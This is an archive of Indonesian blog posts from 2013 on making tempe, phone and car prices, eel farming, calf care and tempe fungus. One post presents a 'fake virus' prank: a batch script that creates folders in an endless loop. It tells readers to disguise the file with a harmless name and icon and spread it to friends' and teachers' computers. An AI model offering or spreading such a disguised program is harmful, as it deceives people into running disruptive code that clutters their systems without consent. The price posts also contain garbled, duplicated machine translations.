Jumat, 31 Mei 2013
CARA PEMBUATAN TEMPE
 |
| CARA PRAKTIS PEMBUATAN TEMPE |
Tempe merupakan alternatif sumber gizi terbaik. Harganya yang murah serta rasanya yang nikmat membuat tempe tak pernah kehilangan konsumen setianya. Pada dasarnya, tempe terbuat dari bebijian kedelai yang difermentasikan dengan jemur tertentu. Tetapi, di daerah tertentu ada beberapa jenis tempe yang tidak dibuat dari kedelai. Misalnya di daerah Waduk Kedungombo dimana tempe khasnya terbuat dari biji Kara Benguk atau Macuna Pruriens. Di daerah Lombok juga Bali Timur, tempenya terbuat dari ampas kacang gude dengan nama tempe gembus. Di Malang lain lagi, tempenya bernama tempe Majas dan terbiuat dari campuran kacang tanah dan juga kelapa. Masih ada banyak varian tempe. Tetapi secara umum, tempe dari kedelai menempati urutan konsumsi tertinggi di Indonesia. Jika selama ini Anda terbiasa membeli tempe di pasar, tak ada salahnya kali ini Anda membuat tempe langsung dari rumah Anda. Caranya terbilang mudah. Bahannya pun hanya dua : Biji Kedelai dan Ragi. Berani mencoba?
Langkah Pembuatan Tempe
Pada dasarnya, pembuatan tempe sangatlah mudah untuk diikuti. Secara sederhana, langkah tersebut dirangkum dalam diagram gambar sebagai berikut:
 |
| CARA PRAKTIS PEMBUATAN TEMPE |
Untuk membuat tempe, langkah paling awal tentunya menyiapkan bahan dan juga alat yang dibutuhkan. Adapun bahan-bahan yang dibutuhkan sebagai berikut :
- Kacang kedelai sebanyak 2 kg.
- tepung sagu atau tapioka sebanyak 1 sendok makan.
- Ragi tempe sebanyak 1 sendok makan.
Sementara itu, alat-alat yang dibutuhkan antara lain:
- Panci untuk merebus.
- Wadah cekung atau mangkuk.
- wadah datar.
- Plastik atau daun pisang.
Cara membuat tempe sebagai berikut:
- Pertama, rebus air hingga mendidih. Setelah itu masukkan kacang kedelai ke dalam air yang mendidih tadi. Diamkan hingga suhu air hangat. Selanjutnya, pisahkan air dan kacang kedelai. Kemudian remas-remas hingga kacang terpisah dari kulitnya dan kacang terbelah menjadi dua.
- Kacang kedelai yang telah terpisah dari kulit kembali direbus dengan air hingga mengeluarkan buih. Setelah itu, pisahkan kacang kedelai dengan air. Agar lebih cepat kering, simpan kacang kedelai di wadah datar yang dasarnya telah diberi kain untuk menyerap cairan.
- Setelah kering, kacang kedelai disimpan di wadah cekung. Kemudian tambahkan ragi dan tepung. Aduk hingga benar-benar merata.
- Setelah tercampur sempurna, masukkan kacang kedelai ke dalam medium plastik atau daun pisang. Ujung plastik atau daun pisang dirapatkan. Kemudian bolongi plastik sehingga ada sirkulasi untuk udara.
- Diamkan adonan tempe dengan durasi 24 sampai 36 jam. Lebih baik lagi jika disimpan di tempat yang hangat.
Bagaimana? Cara membuat tempe sangat mudah dan praktis kan? Dengan sedikit ketelatenan dan keseriusan, Anda bisa menjadikan tempe sebagai peluang usaha penopang ekonomi keluarga Anda. Selamat mencoba!
Rabu, 29 Mei 2013
Harga HP HTC
Bagi sebagian orang, nama HTC mungkin kurang begitu akrab, tidak seperti LG, Sony, Nokia, Blackberry ataupun Samsung. Padahal, saat ini produk-produk smartphone dari HTC sudah mulai menyaingi produk dari merk-merk lainnya. Meskipun harga hp HTC tidak bisa disebut murah, namun HTC sangat menjaga kualitas dari produk-produknya.
For some people, the name HTC may be less so familiar, not like LG, Sony, Nokia, Blackberry or Samsung. In fact, current products smartphone from HTC has begun to compete with products from other brands. Although the price of the HTC mobile phone can not be called cheap, but HTC is maintaining the quality of its products.
For some people, the name HTC may be less so familiar, not like LG, Sony, Nokia, Blackberry or Samsung. In fact, current products smartphone from HTC has begun to compete with products from other brands. Although the price of the HTC mobile phone can not be called cheap, but HTC is maintaining the quality of its products.
Dan untuk mengetahui harga HP HTC, dapat dilihat pada tabel berikut. Daftar harga yang ada, sebaiknya hanya digunakan sebagai referensi saja, atau sebagai pembanding dengan produk dari merk yang lain.
And to determine the price of the HTC mobile phone in April 2013, can be seen in the following table. Existing price list, should only be used as guidance only, or for comparison with products from other brands.
And to determine the price of the HTC mobile phone in April 2013, can be seen in the following table. Existing price list, should only be used as guidance only, or for comparison with products from other brands.
Daftar harga HP HTC (HTC mobile price list):
| No. | Tipe | Harga (Rp) |
| 1. | HTC Desire V | 3.300.000 |
| 2. | HTC Desire VC | 2.999.000 |
| 3. | HTC One S | 5.500.000 |
| 4. | HTC One V | 2.750.000 |
| 5. | HTC One X | 5.950.000 |
| 6. | HTC Sensation XE | 4.650.000 |
| 7. | HTC Wildfire Explorer | 1.500.000 |
Demikianlah sedikit ulasan dan informasi harga HP HTC, mudah-mudahan ada manfaatnya. Dan anda juga bisa mengetahui informasi produk-produk yang lainnya di Daftar Harga, terima kasih.
So a few reviews and information HTC phone price, hopefully no benefit. And you can also find out information that other products in the price list, thank you.
So a few reviews and information HTC phone price, hopefully no benefit. And you can also find out information that other products in the price list, thank you.
Senin, 27 Mei 2013
Toyota Fortuner Price
As a luxury SUV, the Toyota Fortuner price certainly can not be compared with the SUV for the middle class. Because, cars that have been proven toughness, almost has everything that is needed by consumers for a vehicle that is safe, comfortable, luxury, style, and more. So, not weird when someone says that the Toyota Fortuner, is the best SUV.
Cars that have a very high quality machine and is environmentally friendly, available in many options. Obviously this will provide convenience for consumers to choose according to his taste. Coupled with passenger capacity, which can accommodate 7 passengers. And no less important, is the after sales service. Thus, although the price of Toyota Fortuner is not cheap and has to compete with its rivals such as the Mitsubishi Pajero Sport, Mazda CX-5, Honda CR-V, Nissan X-Trail, Hyundai Santa Fe and Chevrolet Trailblazer, but with the various advantages it has, the number SUV sales is always to show improvement. And to know the price of Toyota Fortuner car in March 2013 in Jakarta and surrounding areas, can be seen in the following table.
Toyota Fortuner price list:
| No. | Type | Price (Rp) |
| 1. | Toyota Fortuner 2.7 G A/T LUX Bensin | 448.150.000 |
| 2. | Toyota Fortuner 2.7 G A/T LUX TRD Bensin | 473.750.000 |
| 3. | Toyota Fortuner 2.7 V A/T Bensin | 498.950.000 |
| 4. | Toyota Fortuner 2.5 G M/T Diesel | 395.300.000 |
| 5. | Toyota Fortuner 2.5 G M/T TRD Diesel | 420.250.000 |
| 6. | Toyota Fortuner 2.5 G A/T Diesel | 405.300.000 |
| 7. | Toyota Fortuner 2.5 G A/T TRD Diesel | 430.250.000 |
So a few reviews and information Toyota Fortuner car prices, hopefully no benefit. And you can also find information for other cars on the List Price, thank you.
Sabtu, 25 Mei 2013
Cara Mengerjai Teman Dengan Virus Palsu
Kami akan mengajari anda cara membuat Virus Ramnit Shorcut yang berjumlah 10000 biji….Haaa 10000 biji ???
Lalu, bagaimana cara membuatnya??? Udah nggak sabar yah…langsung saja perhatikan langkah-langkah dibawah ini :
1. Bukalah Notepad kemudian anda ketik atau copy script dibawah ini !
@echo off
:top
md %random%
goto top
2. Kemudian simpan dengan nama yang tidak mencurigakan…namanya terserah anda yang penting kasih ekstensi (.bat). Misalnya ‘Virus MasterAstronomi.bat’
3. Setelah itu ganti icon yang tidak mencurigakan juga.
4. Langkah terakhir, silahkan anda sebarkan virus tersebut ke komputer teman, saudara, Sahabat, pak guru, dan semua yang anda kenal hahahahaha 10000x :)
5. Adapun cara menjalankannya adalah tinggal klik dua kali saja file virus palsu tadi maka otomatis 1000 shorcut akan langsung dibuat. Tunggulah prosesnya dan jika sudah Puas dan sudah merasa banyak sekali, silahkan klik tombol X pada aplikasi yang berjalan tersebut.
6. Dan berikut inilah hasilnya Screenshot dari 10000 virus palsu tersebut ^_^
Bagaimana tidak bingung sang korban nantinya, Lhaa…terkena virus shortcut sebanyak 5 saja sudah bingung untuk menghilangkannya apalagi ini 1000 hehehe
Pasti teman-teman bertanya, Lalu bagaimana cara menghilangkan Shorcut yang berjumlah 1000 tadi??? Ehhhmmm…Mudah kok, anda cukup tekan CTRL + Alalu tekan Shift + Del untuk menghapusnya. Beress kan!!!
Tunggu apa lagi….langsung praktekk sekarang juga Gan ^_^
Kamis, 23 Mei 2013
Peluang Usaha dari Budidaya Ikan Sidat
referensi perikanan tentang ikan sidat
Peluang Usaha dari Budidaya Ikan Sidat
Ikan sidat atau unagi banyak dikonsumsi sebagai makanan mewah di Jepang, Hongkong, dan Korea karena kandungan tinggi protein dan omega-3 yang berkhasiat untuk kesehatan tubuh. Namun, benih ikan sidat yang banyak di perairan Indonesia belum banyak dimanfaatkan di negeri sendiri.
Di Indonesia, paling sedikit ada enam jenis ikan sidat (Anguilla sp), yaitu Anguilla marmorata, Anguilla celebensis, Anguilla ancentralis, Anguilla borneensis, Anguilla bicolor bicolor, dan Anguilla bicolor pacifica.
Melihat peluang pasar yang besar, Syaiful Hanif (32) dan sepuluh rekannya yang tergabung dalam Paguyuban Patra Gesit di Kabupaten Indramayu, Jawa Barat, mulai menjajaki usaha budidaya ikan sidat pada akhir tahun 2008.
Teknik pembesaran ikan sidat awalnya dipelajari Syaiful di Balai Layanan Umum Pandu Karawang, Kementerian Kelautan dan Perikanan. Segmentasi ikan sidat bicolor dipilih dengan benih yang didapat dari hasil tangkapan alam.
Bermodal sedikit pengalaman, paguyuban yang dipimpin Syaiful itu lantas mengajukan kredit lunak pada Program Kemitraan dan Bina Lingkungan PT Pertamina Tbk Rp 1,2 miliar untuk jangka waktu 3 tahun.
Kemudian, dana sebesar itu digunakan untuk membeli lahan seluas 2 hektar di Desa Lamaran Tarum, Kecamatan Cantigi, Kabupaten Indramayu.
Selain itu, dana itu untuk membangun 10 petak kolam ikan berukuran masing-masing 20 x 30 meter persegi, pembelian benih ikan sidat, serta persiapan sarana dan prasarana produksi. Di antaranya peralatan diesel mengingat di wilayah itu belum ada jaringan listrik yang memadai.
Setelah lahan disiapkan, Syaiful dan rekan-rekannya mencoba mempraktikkan pembesaran ikan sidat bicolor di lahan mereka. Namun, usaha pembesaran ikan sidat bicolor ternyata tidak mudah. Bicolor yang biasa hidup di arus pertemuan air sungai dan air laut sulit beradaptasi di kolam air tawar.
Negara tujuan ekspor ikan sidat
Ikan sidat adalah jenis karnivora (pemakan ikan) yang memiliki sifat katadromos, yaitu awalnya berkembang biak di laut dan selanjutnya mencari perairan umum (air tawar) untuk membesarkan diri.
Sifat itu membuat ikan sidat sulit beradaptasi dan mengubah pola makan di habitat baru kolam air tawar. Tingkat pertumbuhan ikan bicolor juga tidak merata karena ukuran benih yang ditebar tidak seragam. Usaha mereka pun berada di ambang kehancuran.
Namun, Syaiful tidak menyerah. Ia lantas menekuni riset pembesaran ikan sidat selama hampir setahun. Proses aklimatisasi diterapkan berupa penyesuaian lingkungan, temperatur, serta sortir benih ikan sebelum disimpan di kolam.
Dengan perlakuan khusus, ikan sidat bicolor yang biasanya makan ikan lain itu berubah kebiasaan menjadi rakus makan pelet. Berpijak dari hasil riset tersebut, Syaiful dan teman-temannya melanjutkan usaha. Tidak tanggung-tanggung, mereka langsung beralih dengan membidik segmentasi ikan sidat marmorata yang permintaan dan harganya di pasar internasional jauh lebih tinggi.
Ikan sidat marmorata terbukti tumbuh subur dengan tingkat hidup (SR) 80 persen. Jika dalam kurun 6 bulan pertumbuhan benih sidat hanya dari ukuran 0,2 gram menjadi 40 gram per ekor, dalam bulan ke-7 sampai ke-10 benih tumbuh pesat dari ukuran 40 gram ke 1 kilogram (kg) per ekor.
Pada panen perdana bulan Januari 2010, paguyuban itu menghasilkan panen sidat sebanyak 500 kg dan seluruhnya diekspor. Ekspor ikan hidup dengan bobot lebih dari 500 gram per ekor, harga jualnya berkisar Rp 120.000-Rp 160.000 per kg. Harganya akan semakin mahal jika bobot ikan lebih dari 1 kg per ekor, yakni Rp 120.000-Rp 180.000 per kg.
Pasar utama ekspor ikan sidat adalah Hongkong, China, dan Taiwan. ”Minat pasar ekspor yang tinggi terhadap ikan sidat membuat hasil produksi selalu terserap pasar, berapa pun jumlahnya,” ungkap Syaiful.
Ia mengakui tidak sulit mencari benih ikan. Beberapa kawasan perairan yang banyak terdapat benih ikan sidat di antaranya di pesisir Sumatera bagian barat, Sulawesi, dan pantai selatan Jawa yang berbatasan dengan laut dalam. Harga benih sidat marmorata Rp 120.000 per kg dengan ukuran benih 25 gram per ekor.
Sayangnya, seiring maraknya permintaan di pasar internasional, penyelundupan benih ikan sidat ke negara lain terus terjadi, di antaranya ke Jepang.
Penyelundupan di beberapa tempat itu mendongkrak harga benih marmorata hingga mencapai Rp 2,5 juta per kg.
Syaiful mengaku khawatir, dengan teknologi budidaya sidat di Tanah Air yang belum berkembang luas, bukan tidak mungkin masyarakat Jepang kelak akan mencuri start dalam pembudidayaan ikan sidat secara luas.
”Indonesia adalah negeri produsen benih ikan yang besar dan kaya. Tetapi, jika potensi itu tidak dimanfaatkan optimal, bisa dipastikan rakyat Indonesia sulit memperoleh nilai tambah dari perikanan,” ujar pria yang sebelumnya menekuni bisnis penjualan pulsa itu.
Salah satu ambisinya dalam waktu dekat adalah memperluas pemasaran ikan sidat ke pasar-pasar dalam negeri. ”Kalau pasar ekspor dengan mudah bisa ditembus, kenapa pasar dalam negeri justru tidak melihat potensi ini,” papar Syaiful.
Ia menargetkan produksi ikan sidat pada panen kedua bulan Juli 2010 bisa mencapai 1 ton. Ia pun berencana memberdayakan masyarakat sekitar dengan menularkan teknik pembesaran ikan sidat ke warga Indramayu.
Caranya, melepas benih ikan sidat berukuran 100 gram kepada warga untuk dibesarkan sampai ukuran 500 gram, kemudian ditampung kembali untuk dipasarkan.
Pria lulusan politeknik Jurusan Mesin ITB angkatan 1996 ini berharap pemerintah memiliki regulasi yang tegas untuk mengembangkan benih ikan sidat, memperluas teknologi budidaya lewat pemberdayaan masyarakat, serta menekan penyelundupan benih yang merugikan perikanan budidaya. (Kompas)
Sumber : http://agrobost.co.id/
Selasa, 21 Mei 2013
Cara Menjaga Kesehatan Anak Sapi Pedet
Profit extra dari kesehatan pedet yang terjaga merupakan sesuatu yang benar karena semakin sehat pedet anda maka nantinya akan menghasilkan sapi dewasa siap jual dengan bobot dan kesehatan yang terjamin, sehingga profit dari penjualan bisa melambung.
Pacu kesehatan pedet sedini mungkin untuk mendapatkan kualitas dan berat sapi yang dikehendaki.
Pedet adalah anak sapi yang baru lahir hingga umur 8 bulan. Selama 3-4 hari setelah lahir pedet harus mendapatkankolostrum dari induknya, karena pedet belum mempunyai anti bodi untuk resistensi terhadap penyakit. Setelah dipisahkan dari induk sapi, barulah pedet dilatih mengkonsumsi suplemen makanan sedikit demi sedikit sehingga pertumbuhanya optimal.
Pada umumnya penyakit-penyakit pada anak sapi disebabkan oleh infeksi virus, bakteri atau karena tata laksana pemberian pakan (manajemen pakan) yang kurang baik. Biasanya penyakit yang sering menyerang anak sapi adalah septikemia akut, salesma dan radang paru-paru.
Beberapa cara penting yang harus dilakukan untuk mencegah terjadinya penyakit pada anak sapi adalah sebagai berikut:
- Memberi pakan yang cukup kepada induk sapi yang bunting agar menghasilkan anak sapi yang sehat.
- Anak sapi yang baru lahir harus mendapat susu kolostrum yang cukup, apling sedikit selama 3 hari.
- Tali pusar anak sapi setelah lahir harus segera diolesi yodium tincture.
- Anak sapi harus ditempatkan dalam lingkungan kandang yang bersih, kering, dan bebas dari lingkungan yang lembab.
- Susu yang diberikan harus sesuai dengan jumlah yang diperlukan dan tidak boleh lebih dari 10% bobot badan anak sapi.
- Suhu susu yang diberikan harus tetap dari hari ke hari, yaitu 38 ºC.
- Kebersihan ember tempat minum dan pakan sapi harus dijaga.
- Penambahan antibiotik ke dalam susu anak sapi atau pakan konsentratnya dapat mencegah penyakit.
- Anak sapi yang sakit harus disingkirkan atau dipisahkan dari anak sapi yang lainnya untuk mencegah kemungkinan terjadinya penularan penyakit.
Penyakit dapat dicegah jika kesehatan dan pertumbuhan pedet dapat dioptimalisasi, salah satu caranya adalah memberikan suplemen tambahan seperti susu berikut ini :
Susu tambahan atau susu pengganti
Susu ini adalah racikan dari Drh.Jatmiko dari Sleman, Jogjakarta. Pembuatannya diilhami dari seringnya Drh.Jatmiko berhadapan dengan pasien pasien nya, salah satunya adalah pedet . Campuran yang terkandung dalam susu ini disesuaikan berdasarkan pengalaman Drh.Jatmiko di lapangan dalam menangani berbagai masalah kesehatan yang timbul pada pedet . Tentunya anda tidak perlu kuatir lagi mengenai kualitasnya, karena sudah banyak pedet yang yang menjadi pasien nya menjadi semakin sehat wal afiat lebih dari keadaan sebelumnya.
Susu tersebut dapat diberikan kepada pedet atau dijadikan susu tambahan, bahan dasar pembuatan susu ini terdiri atas susu full cream, growth promotor dan Asam amino
Asam Amino pembangun protein tubuh yang harus berasal dari asupan gizi yang bersumber dari makanan dan minuman, atau tidak dapat dibentuk di dalam tubuh. Kelengkapan komposisi asam amino esensial merupakan parameter penting penciri kualitas protein.
Growth promotor berfungsi sebagai Bahan tambahan yang digunakan untuk memaksimalkan pertumbuhan dan efisiensi pakan pada pemeliharan ternak intensif. Biasa ditambahkan lewat pakan.
Cara penggunaan susu ini adalah dengan komposisi satu bungkus atau 500gr dicampur dengan 5 liter air. Kemudian diberikan kepada pedet.
Kesehatan pedet yang baik akan memacu tingkat pertumbuhan yang dikehendaki, akansedini mungkin menolak penyakit yang mungkin timbul. Akhirnya akan didapat profit yang lebih dari cukup ketika sapi yang kita punyai sudah masuk dalam masa jual.
Jumat, 17 Mei 2013
INFO TENTANG JAMUR TEMPE
 |
| SEKILAS TENTANG JAMUR TEMPE |
Tempe merupakan makanan yang asli berasal dari Indonesia. Bahan utama pembuatan tempe adalah kacang kedelai. Kacang ini berubah menjadi bentuk yang padat oleh karena terjadi proses fermentasi yang dibantu oleh aktifitas jamur. Proses fermentasi tersebut menyebabkan senyawa-senyawa kompleks di dalam kedelai terhidrolisis menjadi komponen zat yang jauh lebih mudah untuk dicerna tubuh manusia. Jamur tempe atau yang juga disebut dengan kapang tempe, memegang peranan yang sangat penting dalam pembentukan butir kedelai menjadi tempe yang padat. Jamur yang biasa digunakan untuk tempe ini merupakan kelompok Zygomycota yang memang terdiri dari benang-benang hifa yang bersekat.
Rhizopus Oligosporus
Seperti telah dijelaskan bahwa jenis jamur yang lazim digunakan dalam pembuatan tempe berasal dari kelompok Zygomycota. Spesifikasi jenis jamur dari kelompok tersebut yang digunakan untuk tempe adalah Rhizopus Oligosporus dan Rhizopus Stolonifer. Namun, secara umu, jenis jamur yang paling umum digunakan oleh petani tempe adalah jenis Rhizopus Oligosporus. Jamur ini sering juga disebut dengan jamur benang. Karakteristiknya berupa koloni abu-abu dengan sedikit degradasi coklat. Ketinggian jamur tempe ini bisa mencapai 1 mm.
 |
| SEKILAS TENTANG JAMUR TEMPE |
Rhizopus Oligosporus menghasilkan sebuah enzim bernama Fitase. Kerja enzim ini adalah memecah Fitat dan membuat komponen senyawa makro pada kacang kedelai dilebur atau dipecah menjadi kompenen mikro yang lebih sederhana. Hal ini yang menjadikan zat gizi pada tempe jauh lebih mudah untuk diolah oleh tubuh kita. Jamur ini juga bisa memfermentasikan substrat lainnya, memproduksi beberapa enzim (salah satu enzim yang diproduksi yaitu enzim golongan protase) dan bahkan bisa digunkana untuk mengolah beberapa jenis limbah.
Warna Putih Tempe
Mungkin sebagian dari Anda bertanya-tanya, dari mana datangnya warna putih pada tempe yang menyelubungi kacang kedelai. Warna putih tersebut merupakan warna alamiah yang bersumber dari pertumbuhan miselia jamur tempe atau kapang tempe. Miselia ini yang kemudian merekatkan bebijian kedelai sehingga tekstrurnya menjadi padat. Miselia ini dalam bahasa ilmiah dikenal dengan nama hifa, yakni struktur biologis berupa berkas-berkas yang sangat halus dan merupakan bagian integral vegetatif jamur. Hifa atau miselia atau miselium bisa dikatakan adalah bentuk tubuh jamur yang sebenarnya. Fungsi hifa sendiri sama seperti akar dan daun pada tumbuhan sempurna.
Referensi:
http://id.wikipedia.org/wiki/Rhizopus_oligosporus
Langganan:
Komentar (Atom)